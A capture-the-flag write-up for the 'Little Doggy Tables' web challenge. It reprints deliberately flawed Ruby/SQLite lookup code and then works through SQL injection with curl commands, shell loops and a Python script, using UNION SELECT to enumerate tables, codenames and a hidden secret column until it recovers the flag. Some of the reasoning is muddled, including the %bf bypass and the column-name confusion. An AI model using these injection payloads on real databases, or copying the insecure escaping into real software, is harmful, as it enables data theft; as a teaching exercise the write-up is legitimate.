Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
163 lines (106 sloc) 5.38 KB

Little Doggy Tables


It's worse than we thought. We knew the androids couldn't care for the humans like we do (yes, even the cats care--stop yapping about loyalty, Agent Rover). But they don't even remember their own species. We've found a website that reminds them whether a given robot "agent" is a dog or a cat! And when we confronted a captured android about it, it was arrogant in the extreme: "Oh, so you found it. Yes, it will tell you if a given agent is a dog or a cat, by looking up the appropriate value in its SQLite database. Good luck with that. "Sure, the database contains some sensitive information, but our bulletproof firewall and top-notch quote escaping will ensure it never sees the light of day. "Not secure? Huh? You don’t believe me? I’ll show you how secure. Here’s the source!" USAGE EXAMPLE: curl "" --get --data-urlencode "codename=Fido"


This was a websec challenge. description suggests this is an SQLite database so it's likely an SQL injection challenge.

We are given the following Ruby source code for reference:

#!/usr/bin/env ruby

# author: Will McChesney <>

require "sqlite3"
require "webrick"


class SecureDatastore
  include Singleton

  def initialize
    @db ="secure.db")

  def secure_species_lookup(insecure_codename)
    # roll our own escaping to prevent SQL injection attacks
    secure_codename = insecure_codename.gsub("'", Regexp.escape("\\'"))
    query = "SELECT species FROM operatives WHERE codename = '#{secure_codename}';"

    puts query
    results = @db.execute(query)

    return if results.length == 0

server = PORT)

trap("INT") { server.shutdown }

class AgentLookupServlet < WEBrick::HTTPServlet::AbstractServlet
  def do_GET(request, response)
    response.status = 200
    response["Content-Type"] = "text/plain"

    response.body = SecureDatastore.instance.secure_species_lookup(request.query["codename"]) + "\n"

server.mount "/agent_lookup", AgentLookupServlet


The function gets passed an 'insecure_codename' variable which is our unsanitized query input. Then, there's a regex escaping that will add to any single quotes passed, a backslash. i.e. ' would be change to '.

This is however insufficient as we can add %bf. It's possible to bypass this and we will get a single quote that will not get escaped properly.

Next, we already know this is an SQLite backend DB, and the given query in the source code suggests that there's a table named operatives. let's confirm this anyway:

~# curl "" --get --data-urlencode "codename=%bf' union select name from sqlite_master; --" --insecure


OK, so operatives it is, let's try to see what other rows we have other in 'species'

~# for i in {a..z}; do curl "" --get --data-urlencode "codename=%bf' union select species from operatives where species LIKE \"${i}%\"; --" --insecure; done


So we have a dog and a cat, not interesting in particular.

Let's find what codenames are available, other than Fido. maybe the flag is there?

~# for i in {a..z}; do curl "" --get --data-urlencode "codename=%bf' union select codename from operatives where codename LIKE \"${i}%\"; --" --insecure; done


Flag isn't there. maybe it's time to enumerate what other columns are available, I tried password, users, flags, flag but no cigar.

~# curl "" --get --data-urlencode "codename=%bf' union select secrets from operatives where secrets LIKE \"a%\"; --" --insecure;

no such column: secrets

no such thing as secrets, maybe secret?

~# curl "" --get --data-urlencode "codename=%bf' union select secret from operatives where secret LIKE \"a%\"; --" --insecure;

<H1>Internal Server Error</H1>

Yes! we get an internal server error message as opposed to 'No such column' so we know secrets exists, let's try the same query except this time with secrets as column.

~# curl "" --get --data-urlencode "codename=%bf' union select secret from operatives where secret LIKE \"1%\"; --" --insecure;


We got an interesting string, but this isn't the flag, so let's enumerate with LIKE and some random numbers:

import requests
import urllib3


URL = ''

for i in range(10):
  q = '%bf\' union select secret from operatives where secret LIKE "%{0}"; --'.format(i)
  req = requests.get(URL, verify=False, params={'codename':q})
  if 'Error' not in req.text:
    print req.text

~#: python 




flag is flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436.